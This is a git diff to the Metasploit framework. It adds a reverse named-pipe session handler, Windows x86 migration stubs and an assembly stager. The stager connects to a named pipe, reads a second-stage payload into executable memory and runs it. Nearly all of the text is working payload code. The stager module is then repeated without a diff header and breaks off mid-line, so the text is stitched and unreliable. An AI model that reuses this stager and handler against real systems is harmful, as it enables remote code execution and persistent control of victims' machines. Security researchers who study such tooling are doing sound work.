diff --git a/Gemfile b/Gemfile index 0a81128d1c847..8b8afa447c934 100755 --- a/Gemfile +++ b/Gemfile @@ -3,6 +3,9 @@ source 'https://rubygems.org' # spec.add_runtime_dependency '', [] gemspec name: 'metasploit-framework' +# Needed for Meterpreter +gem 'metasploit-payloads', github: 'sempervictus/metasploit-payloads', branch: 'feature-update_named_pipes_pr' + # separate from test as simplecov is not run on travis-ci group :coverage do # code coverage for tests @@ -39,7 +42,7 @@ group :test do # cucumber extension for testing command line applications, like msfconsole gem 'aruba' # cucumber + automatic database cleaning with database_cleaner - gem 'cucumber-rails', :require => false + gem 'cucumber-rails', require: false gem 'shoulda-matchers' # Manipulate Time.now in specs gem 'timecop' diff --git a/Gemfile.lock b/Gemfile.lock index 0d2d015878a73..ed30863002461 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,3 +1,10 @@ +GIT + remote: git://github.com/sempervictus/metasploit-payloads.git + revision: 084cde42e5fd21ff0cf7a9a28930b7f7c7de87b3 + branch: feature-update_named_pipes_pr + specs: + metasploit-payloads (1.2.5) + PATH remote: . specs: @@ -13,7 +20,6 @@ PATH metasploit-concern metasploit-credential (= 1.1.0) metasploit-model (= 1.1.0) - metasploit-payloads (= 1.1.10) metasploit_data_models (= 1.3.0) msgpack network_interface (~> 0.0.1) @@ -62,8 +68,8 @@ GEM tzinfo (~> 0.3.37) addressable (2.3.8) arel (4.0.2) - arel-helpers (2.2.0) - activerecord (>= 3.1.0, < 5) + arel-helpers (2.3.0) + activerecord (>= 3.1.0, < 6) aruba (0.6.2) childprocess (>= 0.3.6) cucumber (>= 1.1.1) @@ -110,7 +116,7 @@ GEM i18n (0.7.0) jsobfu (0.4.1) rkelly-remix (= 0.0.6) - json (1.8.3) + json (2.0.2) mail (2.6.3) mime-types (>= 1.16, < 3) metasm (1.0.2) @@ -130,7 +136,6 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.1.10) metasploit_data_models (1.3.0) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) @@ -145,7 +150,7 @@ GEM mime-types (2.6.1) mini_portile2 (2.0.0) minitest (4.7.5) - msgpack (0.7.4) + msgpack (1.0.2) multi_json (1.11.2) multi_test (0.1.2) multipart-post (2.0.0) @@ -159,8 +164,8 @@ GEM network_interface (~> 0.0) pcaprub (~> 0.12) patch_finder (1.0.2) - pcaprub (0.12.1) - pg (0.18.4) + pcaprub (0.12.4) + pg (0.19.0) pg_array_parser (0.0.9) postgres_ext (3.0.0) activerecord (>= 4.0.0) @@ -210,7 +215,7 @@ GEM rspec-mocks (~> 3.3.0) rspec-support (~> 3.3.0) rspec-support (3.3.0) - rubyntlm (0.6.0) + rubyntlm (0.6.1) rubyzip (1.2.0) sawyer (0.6.0) addressable (~> 2.3.5) @@ -232,7 +237,7 @@ GEM actionpack (>= 3.0) activesupport (>= 3.0) sprockets (>= 2.8, < 4.0) - sqlite3 (1.3.11) + sqlite3 (1.3.13) thor (0.19.1) thread_safe (0.3.5) tilt (1.4.1) @@ -251,6 +256,7 @@ DEPENDENCIES factory_girl_rails (~> 4.5.0) fivemat (~> 1.3.1) metasploit-framework! + metasploit-payloads! octokit (~> 4.0) pry rake (>= 10.0.0) @@ -262,4 +268,4 @@ DEPENDENCIES yard BUNDLED WITH - 1.12.2 + 1.12.5 diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index a2c031f93a0c5..7329c0c24eee8 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -51,7 +51,7 @@ def initialize(rstream, opts={}) :ssl => supports_ssl?, :zlib => supports_zlib? } - + # # The caller didn't request to skip ssl, so make sure we support it if not opts[:skip_ssl] opts.merge!(:skip_ssl => (not supports_ssl?)) diff --git a/lib/msf/core/handler.rb b/lib/msf/core/handler.rb index 2ed2842ba8495..1af0f66238a2f 100644 --- a/lib/msf/core/handler.rb +++ b/lib/msf/core/handler.rb @@ -193,13 +193,13 @@ def interrupt_wait_for_session # def create_session(conn, opts={}) # If there is a parent payload, then use that in preference. - return parent_payload.create_session(conn, opts) if (parent_payload) + return parent_payload.create_session(conn, opts) if parent_payload # If the payload we merged in with has an associated session factory, # allocate a new session. - if (self.session) + if (self.session_klass) begin - s = self.session.new(conn, opts) + s = self.session_klass.new(conn, opts) rescue ::Exception => e # We just wanna show and log the error, not trying to swallow it. print_error("#{e.class} #{e.message}") diff --git a/lib/msf/core/handler/reverse_named_pipe.rb b/lib/msf/core/handler/reverse_named_pipe.rb new file mode 100644 index 0000000000000..250b9534ff5f0 --- /dev/null +++ b/lib/msf/core/handler/reverse_named_pipe.rb @@ -0,0 +1,185 @@ +# -*- coding: binary -*- +require 'thread' +require 'msf/core/post_mixin' + +module Msf +module Handler +### +# +# This module implements the reverse named pipe handler. This handler +# requires an existing session via Meterpreter, as it creates a named +# pipe server on the target session and traffic is pivoted through that +# using the channel functionality. This is Windows-only at the moment. +# +### +module ReverseNamedPipe + + include Msf::Handler + include Msf::PostMixin + + # + # Returns the string representation of the handler type, in this case + # 'reverse_named_pipe'. + # + def self.handler_type + "reverse_named_pipe" + end + + # + # Returns the connection-described general handler type, in this case + # 'reverse'. + # + def self.general_handler_type + "reverse" + end + + # + # Initializes the reverse handler and ads the options that are required + # for reverse named pipe payloads. + # + def initialize(info = {}) + super + + register_options([ + OptString.new('PIPENAME', [true, 'Name of the pipe to listen on', 'msf-pipe']), + OptString.new('PIPEHOST', [true, 'Host of the pipe to connect to', '.']) + ], Msf::Handler::ReverseNamedPipe) + + self.conn_threads = [] + end + + # + # Closes the listener socket if one was created. + # + def cleanup_handler + stop_handler + + # Kill any remaining handle_connection threads that might + # be hanging around + conn_threads.each do |thr| + begin + thr.kill + rescue + nil + end + end + end + + # A string suitable for displaying to the user + # + # @return [String] + def human_name + "reverse named pipe" + end + + # + # Starts monitoring for an inbound connection. + # + def start_handler + queue = ::Queue.new + + # The 'listen' option says "behave like a server". + # The 'repeat' option tells the target to create another named pipe + # handle when a new client is established so that it operates like + # a typical server. Named pipes are a bit awful in this regard. + # So we use the 'ExitOnSession' functionality to tell the target + # whether or not to do "one-shot" or "keep going". + self.server_pipe = session.net.named_pipe.create({ + listen: true, + name: datastore['PIPENAME'], + host: datastore['PIPEHOST'], + repeat: datastore['ExitOnSession'] == false + }) + + server_pipe = self.server_pipe + + self.listener_thread = framework.threads.spawn(listener_name, false, queue) { |lqueue| + loop do + # Accept a client connection + begin + channel = server_pipe.accept + if channel + self.pending_connections += 1 + lqueue.push(channel) + end + rescue StandardError => e + wlog [ + "#{listener_name}: Exception raised during listener accept: #{e.class}", + "#{$ERROR_INFO}", + "#{$ERROR_POSITION.join("\n")}" + ].join("\n") + end + end + } + + self.handler_thread = framework.threads.spawn(worker_name, false, queue) { |cqueue| + loop do + begin + channel = cqueue.pop + + unless channel + elog("#{worker_name}: Queue returned an empty result, exiting...") + end + + # Timeout and datastore options need to be passed through to the channel. + # We indicate that we want to skip SSL because that isn't suppored (or + # needed?) over the named pipe comms. + opts = { + datastore: datastore, + channel: channel, + skip_ssl: true, + expiration: datastore['SessionExpirationTimeout'].to_i, + comm_timeout: datastore['SessionCommunicationTimeout'].to_i, + retry_total: datastore['SessionRetryTotal'].to_i, + retry_wait: datastore['SessionRetryWait'].to_i + } + + # pass this right through to the handler, the channel should "just work" + handle_connection(channel.lsock, opts) + rescue StandardError + elog("Exception raised from handle_connection: #{$ERROR_INFO.class}: #{$ERROR_INFO}\n\n#{$ERROR_POSITION.join("\n")}") + end + end + } + end + + # + # Stops monitoring for an inbound connection. + # + def stop_handler + # Terminate the listener thread + listener_thread.kill if listener_thread && listener_thread.alive? == true + + # Terminate the handler thread + handler_thread.kill if handler_thread && handler_thread.alive? == true + + if server_pipe + begin + server_pipe.close + rescue IOError + # Ignore if it's listening on a dead session + dlog("IOError closing pipe listener; listening on dead session?", LEV_1) + end + end + end + +protected + + def listener_name + @listener_name |= "ReverseNamedPipeHandlerListener-#{datastore['PIPENAME']}-#{datastore['SESSION']}" + @listener_name + end + + def worker_name + @worker_name |= "ReverseNamedPipeHandlerWorker-#{datastore['PIPENAME']}-#{datastore['SESSION']}" + @worker_name + end + + attr_accessor :server_pipe # :nodoc: + attr_accessor :listener_thread # :nodoc: + attr_accessor :handler_thread # :nodoc: + attr_accessor :conn_threads # :nodoc: +end +end +end + diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index dcfc550e9f840..7d78ba08f9d06 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -295,7 +295,7 @@ def handler_klass # Returns the session class that is associated with this payload and will # be used to create a session as necessary. # - def session + def session_klass return module_info['Session'] end diff --git a/lib/msf/core/payload/stager.rb b/lib/msf/core/payload/stager.rb index cf3e51a70976e..dccd02c814a8a 100644 --- a/lib/msf/core/payload/stager.rb +++ b/lib/msf/core/payload/stager.rb @@ -156,9 +156,7 @@ def generate_stage(opts={}) def handle_connection(conn, opts={}) # If the stage should be sent over the client connection that is # established (which is the default), then go ahead and transmit it. - if (stage_over_connection?) - opts = {} - + if stage_over_connection? if respond_to? :include_send_uuid if include_send_uuid uuid_raw = conn.get_once(16, 1) @@ -200,8 +198,8 @@ def handle_connection(conn, opts={}) # The connection should always have a peerhost (even if it's a # tunnel), but if it doesn't, erroring out here means losing the # session, so make sure it does, just to be safe. - if conn.respond_to? :peerhost - sending_msg << " to #{conn.peerhost}" + if conn.respond_to?(:peerhost) + #sending_msg << " to #{conn.peerhost}" end print_status(sending_msg) diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb index 6e696e07f99f4..e1a5e45779bcd 100644 --- a/lib/msf/core/payload/transport_config.rb +++ b/lib/msf/core/payload/transport_config.rb @@ -16,6 +16,14 @@ def transport_config_reverse_tcp(opts={}) config end + def transport_config_reverse_named_pipe(opts={}) + { + scheme: 'pipe', + lhost: datastore['PIPEHOST'], + uri: "/#{datastore['PIPENAME']}" + }.merge(timeout_config) + end + def transport_config_reverse_ipv6_tcp(opts={}) config = transport_config_reverse_tcp(opts) config[:scheme] = 'tcp6' @@ -25,13 +33,10 @@ def transport_config_reverse_ipv6_tcp(opts={}) def transport_config_bind_tcp(opts={}) { - :scheme => 'tcp', - :lhost => datastore['LHOST'], - :lport => datastore['LPORT'].to_i, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i - } + scheme: 'tcp', + lhost: datastore['LHOST'], + lport: datastore['LPORT'].to_i + }.merge(timeout_config) end def transport_config_reverse_https(opts={}) @@ -54,19 +59,26 @@ def transport_config_reverse_http(opts={}) end { - :scheme => 'http', - :lhost => opts[:lhost] || datastore['LHOST'], - :lport => (opts[:lport] || datastore['LPORT']).to_i, - :uri => uri, - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i, - :ua => datastore['MeterpreterUserAgent'], - :proxy_host => datastore['PayloadProxyHost'], - :proxy_port => datastore['PayloadProxyPort'], - :proxy_type => datastore['PayloadProxyType'], - :proxy_user => datastore['PayloadProxyUser'], - :proxy_pass => datastore['PayloadProxyPass'] + scheme: 'http', + lhost: opts[:lhost] || datastore['LHOST'], + lport: (opts[:lport] || datastore['LPORT']).to_i, + uri: uri, + ua: datastore['MeterpreterUserAgent'], + proxy_host: datastore['PayloadProxyHost'], + proxy_port: datastore['PayloadProxyPort'], + proxy_type: datastore['PayloadProxyType'], + proxy_user: datastore['PayloadProxyUser'], + proxy_pass: datastore['PayloadProxyPass'] + }.merge(timeout_config) + end + +private + + def timeout_config + { + comm_timeout: datastore['SessionCommunicationTimeout'].to_i, + retry_total: datastore['SessionRetryTotal'].to_i, + retry_wait: datastore['SessionRetryWait'].to_i } end diff --git a/lib/msf/core/payload/windows/migrate.rb b/lib/msf/core/payload/windows/migrate.rb new file mode 100644 index 0000000000000..db9e3c896e25e --- /dev/null +++ b/lib/msf/core/payload/windows/migrate.rb @@ -0,0 +1,6 @@ +# -*- coding: binary -*- +require 'msf/core/payload/windows/block_api' +require 'msf/core/payload/windows/migrate_tcp' +require 'msf/core/payload/windows/migrate_http' +require 'msf/core/payload/windows/migrate_pipe' + diff --git a/lib/msf/core/payload/windows/migrate_http.rb b/lib/msf/core/payload/windows/migrate_http.rb new file mode 100644 index 0000000000000..2f9f07277b806 --- /dev/null +++ b/lib/msf/core/payload/windows/migrate_http.rb @@ -0,0 +1,59 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/block_api' + +module Msf + +### +# +# Payload that supports migrating over HTTP/S transports on x86. +# +### + +module Payload::Windows::MigrateHttp + + include Msf::Payload::Windows + include Msf::Payload::Windows::BlockApi + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Migrate over HTTP/S transports', + 'Description' => 'Migration stub to use over HTTP/S transports', + 'Author' => ['OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + )) + end + + # + # Constructs the payload + # + def generate + asm = %Q^ + migrate: + cld + pop esi + pop esi ; esi now contains a pointer to the migrate context + sub esp, 0x2000 + call start + #{asm_block_api} + start: + pop ebp + signal_event: + push dword [esi] ; Event handle is pointed at by esi + push #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')} + call ebp ; SetEvent(handle) + call_payload: + call dword [esi+8] ; call the associated payload + ^ + + Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string + end + +end + +end + + diff --git a/lib/msf/core/payload/windows/migrate_pipe.rb b/lib/msf/core/payload/windows/migrate_pipe.rb new file mode 100644 index 0000000000000..2004194d358fd --- /dev/null +++ b/lib/msf/core/payload/windows/migrate_pipe.rb @@ -0,0 +1,60 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/block_api' + +module Msf + +### +# +# Payload that supports migrating over Named Pipe transports on x86. +# +### + +module Payload::Windows::MigratePipe + + include Msf::Payload::Windows + include Msf::Payload::Windows::BlockApi + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Migrate over Named Pipe transport', + 'Description' => 'Migration stub to use over Named Pipe transports', + 'Author' => ['OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + )) + end + + # + # Constructs the payload + # + def generate + asm = %Q^ + migrate: + cld + pop esi + pop esi ; esi now contains a pointer to the migrate context + sub esp, 0x2000 + call start + #{asm_block_api} + start: + pop ebp + mov edi, [esi+16] ; The duplicated pipe handle is in the migrate context. + signal_event: + push dword [esi] ; Event handle is pointed at by esi + push #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')} + call ebp ; SetEvent(handle) + call_payload: + call dword [esi+8] ; call the associated payload + ^ + + Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string + end + +end + +end + + diff --git a/lib/msf/core/payload/windows/migrate_tcp.rb b/lib/msf/core/payload/windows/migrate_tcp.rb new file mode 100644 index 0000000000000..285ba5bfa6fca --- /dev/null +++ b/lib/msf/core/payload/windows/migrate_tcp.rb @@ -0,0 +1,86 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/block_api' + +module Msf + +### +# +# Payload that supports migrating over TCP transports on x86. +# +### + +module Payload::Windows::MigrateTcp + + include Msf::Payload::Windows + include Msf::Payload::Windows::BlockApi + + WSA_VERSION = 0x190 + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Migrate over TCP transport', + 'Description' => 'Migration stub to use over TCP transports', + 'Author' => ['OJ Reeves'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + )) + end + + # + # Constructs the payload + # + def generate + asm = %Q^ + migrate: + cld + pop esi + pop esi ; esi now contains a pointer to the migrate context + sub esp, 0x2000 + call start + #{asm_block_api} + start: + pop ebp + load_ws2_32: + push '32' + push 'ws2_' + push esp ; pointer to 'ws2_32' + push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call ebp ; LoadLibraryA('ws2_32') + init_networking: + mov eax, #{WSA_VERSION} ; EAX == version, and also used for size + sub esp, eax ; allocate space for the WSAData structure + push esp ; Pointer to the WSAData structure + push eax ; Version required + push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} + call ebp ; WSAStartup(Version, &WSAData) + create_socket: + push eax ; eax is 0 on success, use it for flags + push eax ; reserved + lea ebx, [esi+16] ; get offset to the WSAPROTOCOL_INFO struct + push ebx ; pass the info struct address + push eax ; no protocol is specified + inc eax + push eax ; SOCK_STREAM + inc eax + push eax ; AF_INET + push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} + call ebp ; WSASocketA(AF_INET, SOCK_STREAM, 0, &info, 0, 0) + xchg edi, eax + signal_event: + push dword [esi] ; Event handle is pointed at by esi + push #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')} + call ebp ; SetEvent(handle) + call_payload: + call dword [esi+8] ; call the associated payload + ^ + + Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string + end + +end + +end + diff --git a/lib/msf/core/payload/windows/reverse_named_pipe.rb b/lib/msf/core/payload/windows/reverse_named_pipe.rb new file mode 100644 index 0000000000000..3ba747b3383a0 --- /dev/null +++ b/lib/msf/core/payload/windows/reverse_named_pipe.rb @@ -0,0 +1,615 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/write_uuid' +require 'msf/core/payload/windows/block_api' +require 'msf/core/payload/windows/exitfunk' + +module Msf +### +# +# Complex reverse_named_pipe payload generation for Windows ARCH_X86 +# +### + +module Payload::Windows::ReverseNamedPipe + include Msf::Payload::TransportConfig + include Msf::Payload::Windows + include Msf::Payload::Windows::WriteUUID + include Msf::Payload::Windows::BlockApi + include Msf::Payload::Windows::Exitfunk + + # + # Generate the first stage + # + def generate + conf = { + name: datastore['PIPENAME'], + host: datastore['PIPEHOST'] || '.', + retry_count: datastore['ReverseConnectRetries'], + reliable: false + } + + # Generate the advanced stager if we have space + unless self.available_space.nil? || required_space > self.available_space + conf[:exitfunk] = datastore['EXITFUNC'] + conf[:reliable] = true + end + + generate_reverse_named_pipe(conf) + end + + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + + def transport_config(opts={}) + transport_config_reverse_named_pipe(opts) + end + + # + # Generate and compile the stager + # + def generate_reverse_named_pipe(opts={}) + combined_asm = %Q^ + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. + #{asm_block_api} + start: + pop ebp + #{asm_reverse_named_pipe(opts)} + ^ + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + # Start with our cached default generated size + space = cached_size + + # EXITFUNK 'thread' is the biggest by far, adds 29 bytes. + space += 29 + + # Reliability adds some bytes! + space += 44 + + space += uuid_required_size if include_send_uuid + + # The final estimated size + space + end + + # + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Fixnum] :port The port to connect to + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [Bool] :reliable Whether or not to enable error handling code + # + def asm_reverse_named_pipe(opts={}) + retry_count = [opts[:retry_count].to_i, 1].max + reliable = opts[:reliable] + # we have to double-escape because of metasm + full_pipe_name = "\\\\\\\\#{opts[:host]}\\\\pipe\\\\#{opts[:name]}" + + asm = %Q^ + ; Input: EBP must be the address of 'api_call'. + ; Output: EDI will be the handle for the pipe to the server + jmp arg_count_end + arg_count: + push eax + push eax + mov eax, [esp + 8] + mov [esp + 4], eax + call arg_count_var + dd 0x0 + arg_count_var: + mov eax, [esp] + mov [esp + 0xC], eax + mov eax, [esp + 4] + add esp, 8 + ret + arg_count_end: + ; + call get_dll_name + db "shell32.dll", 0x00 + get_dll_name: + push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call ebp + ; + push #{Rex::Text.block_api_hash('kernel32.dll', 'GetCommandLineW')} + call ebp + ; + call arg_count ; push arg_count_var onto stack + push eax + push #{Rex::Text.block_api_hash('shell32.dll', 'CommandLineToArgvW')} + call ebp + ; + ; + retry_start: + push #{retry_count} ; retry counter + mov esi, esp ; keep track of where the variables are + + try_reverse_named_pipe: + ; Start by setting up the call to CreateFile + xor ebx, ebx ; EBX will be used for pushing zero + push ebx ; hTemplateFile + push ebx ; dwFlagsAndAttributes + push 3 ; dwCreationDisposition (OPEN_EXISTING) + push ebx ; lpSecurityAttributes + push ebx ; dwShareMode + push 0xC0000000 ; dwDesiredAccess (GENERIC_READ|GENERIC_WRITE) + ; + call arg_count + mov ebx, [esp] + add esp, 4 + cmp [ebx], 1 + jle no_args + ; + push [eax+4] + jmp create_file_w + ; + no_args: + call get_pipe_name + dw "#{full_pipe_name}", 0x00 + get_pipe_name: + ; lpFileName (via call) + create_file_w: + xor ebx, ebx + push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileW')} + call ebp ; CreateFileA(...) + + ; If eax is -1, then we had a failure. + cmp eax, -1 ; -1 means a failure + jnz connected + + handle_connect_failure: + ; decrement our attempt count and try again + dec [esi] + jnz try_reverse_named_pipe + ^ + + if opts[:exitfunk] + asm << %Q^ + failure: + call exitfunk + ^ + else + asm << %Q^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp + ^ + end + + asm << %Q^ + ; this label is required so that reconnect attempts include + ; the UUID stuff if required. + connected: + xchg edi, eax ; edi now has the file handle we'll need in future + ^ + + asm << asm_write_uuid if include_send_uuid + + asm << %Q^ + ; Receive the size of the incoming second stage... + push ebx ; buffer for lpNumberOfBytesRead + mov ecx, esp + push ebx ; buffer for lpBuffer + mov esi, esp + push ebx ; lpOverlapped + push ecx ; lpNumberOfBytesRead + push 4 ; nNumberOfBytesToRead = sizeof( DWORD ); + push esi ; lpBuffer + push edi ; hFile + push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')} + call ebp ; ReadFile(...) to read the size + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the file read worked, retry otherwise + ; if it fails + test eax, eax + jz cleanup_file + mov eax, [esi+4] ; check to see if bytes were read + test eax, eax + jz cleanup_file + ^ + end + + asm << %Q^ + ; Alloc a RWX buffer for the second stage + mov esi, [esi] ; dereference the pointer to the second stage length + push 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push esi ; push the newly received second stage length. + push 0 ; NULL as we dont care where the allocation is. + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + ; Receive the second stage and execute it... + xchg ebx, eax ; ebx = our new memory address for the new stage + push ebx ; push the address of the new stage so we can return into it + + read_more: + push eax ; space for the number of bytes + mov eax, esp ; store the pointer + push 0 ; lpOverlapped + push eax ; lpNumberOfBytesRead + push esi ; nNumberOfBytesToRead + push ebx ; lpBuffer + push edi ; hFile + push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')} + call ebp ; ReadFile(...) to read the size + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails + cmp eax, 0 + jz read_failed + pop eax ; get the number of bytes read + cmp eax, 0 + jnz read_successful + + read_failed: + ; something failed, free up memory + pop eax ; get the address of the payload + push 0x4000 ; dwFreeType (MEM_DECOMMIT) + push 0 ; dwSize + push eax ; lpAddress + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} + call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT) + + cleanup_file: + ; clear up the named pipe handle + push edi ; named pipe handle + push #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')} + call ebp ; CloseHandle(...) + + ; restore the stack back to the connection retry count + pop esi + pop esi + pop esi + dec [esp] ; decrement the counter + + ; try again + jmp try_reverse_named_pipe + ^ + else + asm << %Q^ + pop eax ; pop bytes read + ^ + end + + asm << %Q^ + read_successful: + add ebx, eax ; buffer += bytes_received + sub esi, eax ; length -= bytes_received, will set flags + jnz read_more ; continue if we have more to read + ret ; return into the second stage + ^ + + if opts[:exitfunk] + asm << asm_exitfunk(opts) + end + + asm + end + +end + +end +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/write_uuid' +require 'msf/core/payload/windows/block_api' +require 'msf/core/payload/windows/exitfunk' + +module Msf +### +# +# Complex reverse_named_pipe payload generation for Windows ARCH_X86 +# +### +module Payload::Windows::ReverseNamedPipe + include Msf::Payload::TransportConfig + include Msf::Payload::Windows + include Msf::Payload::Windows::WriteUUID + include Msf::Payload::Windows::BlockApi + include Msf::Payload::Windows::Exitfunk + + # + # Generate the first stage + # + def generate + conf = { + name: datastore['PIPENAME'], + host: datastore['PIPEHOST'] || '.', + retry_count: datastore['ReverseConnectRetries'], + reliable: false + } + + # Generate the advanced stager if we have space + unless self.available_space.nil? || required_space > self.available_space + conf[:exitfunk] = datastore['EXITFUNC'] + conf[:reliable] = true + end + + generate_reverse_named_pipe(conf) + end + + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + + def transport_config(opts={}) + transport_config_reverse_named_pipe(opts) + end + + # + # Generate and compile the stager + # + def generate_reverse_named_pipe(opts={}) + combined_asm = %Q^ + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. + #{asm_block_api} + start: + pop ebp + #{asm_reverse_named_pipe(opts)} + ^ + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + # Start with our cached default generated size + space = cached_size + + # EXITFUNK 'thread' is the biggest by far, adds 29 bytes. + space += 29 + + # Reliability adds some bytes! + space += 44 + + space += uuid_required_size if include_send_uuid + + # The final estimated size + space + end + + # + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Fixnum] :port The port to connect to + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [Bool] :reliable Whether or not to enable error handling code + # + def asm_reverse_named_pipe(opts={}) + + retry_count = [opts[:retry_count].to_i, 1].max + reliable = opts[:reliable] + # we have to double-escape because of metasm + full_pipe_name = "\\\\\\\\#{opts[:host]}\\\\pipe\\\\#{opts[:name]}" + + asm = %Q^ + ; Input: EBP must be the address of 'api_call'. + ; Output: EDI will be the handle for the pipe to the server + jmp arg_count_end + arg_count: + push eax + push eax + mov eax, [esp + 8] + mov [esp + 4], eax + call arg_count_var + dd 0x0 + arg_count_var: + mov eax, [esp] + mov [esp + 0xC], eax + mov eax, [esp + 4] + add esp, 8 + ret + arg_count_end: + call get_dll_name + db "shell32.dll", 0x00 + get_dll_name: + push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call ebp + ; + push #{Rex::Text.block_api_hash('kernel32.dll', 'GetCommandLineW')} + call ebp + ; + call arg_count ; push arg_count_var onto stack + push eax + push #{Rex::Text.block_api_hash('shell32.dll', 'CommandLineToArgvW')} + call ebp + ; + retry_start: + push #{retry_count} ; retry counter + mov esi, esp ; keep track of where the variables are + + try_reverse_named_pipe: + ; Start by setting up the call to CreateFile + xor ebx, ebx ; EBX will be used for pushing zero + push ebx ; hTemplateFile + push ebx ; dwFlagsAndAttributes + push 3 ; dwCreationDisposition (OPEN_EXISTING) + push ebx ; lpSecurityAttributes + push ebx ; dwShareMode + push 0xC0000000 ; dwDesiredAccess (GENERIC_READ|GENERIC_WRITE) + ; + call arg_count + mov ebx, [esp] + add esp, 4 + cmp [ebx], 1 + jle no_args + ; + push [eax+4] + jmp create_file_w + ; + no_args: + call get_pipe_name + dw "#{full_pipe_name}", 0x00 + get_pipe_name: + ; lpFileName (via call) + create_file_w: + xor ebx, ebx + push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileW')} + call ebp ; CreateFileA(...) + + ; If eax is -1, then we had a failure. + cmp eax, -1 ; -1 means a failure + jnz connected + + handle_connect_failure: + ; decrement our attempt count and try again + dec [esi] + jnz try_reverse_named_pipe + ^ + + if opts[:exitfunk] + asm << %Q^ + failure: + call exitfunk + ^ + else + asm << %Q^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp + ^ + end + + asm << %Q^ + ; this label is required so that reconnect attempts include + ; the UUID stuff if required. + connected: + xchg edi, eax ; edi now has the file handle we'll need in future + ^ + + asm << asm_write_uuid if include_send_uuid + + asm << %Q^ + ; Receive the size of the incoming second stage... + push ebx ; buffer for lpNumberOfBytesRead + mov ecx, esp + push ebx ; buffer for lpBuffer + mov esi, esp + push ebx ; lpOverlapped + push ecx ; lpNumberOfBytesRead + push 4 ; nNumberOfBytesToRead = sizeof( DWORD ); + push esi ; lpBuffer + push edi ; hFile + push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')} + call ebp ; ReadFile(...) to read the size + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the file read worked, retry otherwise + ; if it fails + test eax, eax + jz cleanup_file + mov eax, [esi+4] ; check to see if bytes were read + test eax, eax + jz cleanup_file + ^ + end + + asm << %Q^ + ; Alloc a RWX buffer for the second stage + mov esi, [esi] ; dereference the pointer to the second stage length + push 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push esi ; push the newly received second stage length. + push 0 ; NULL as 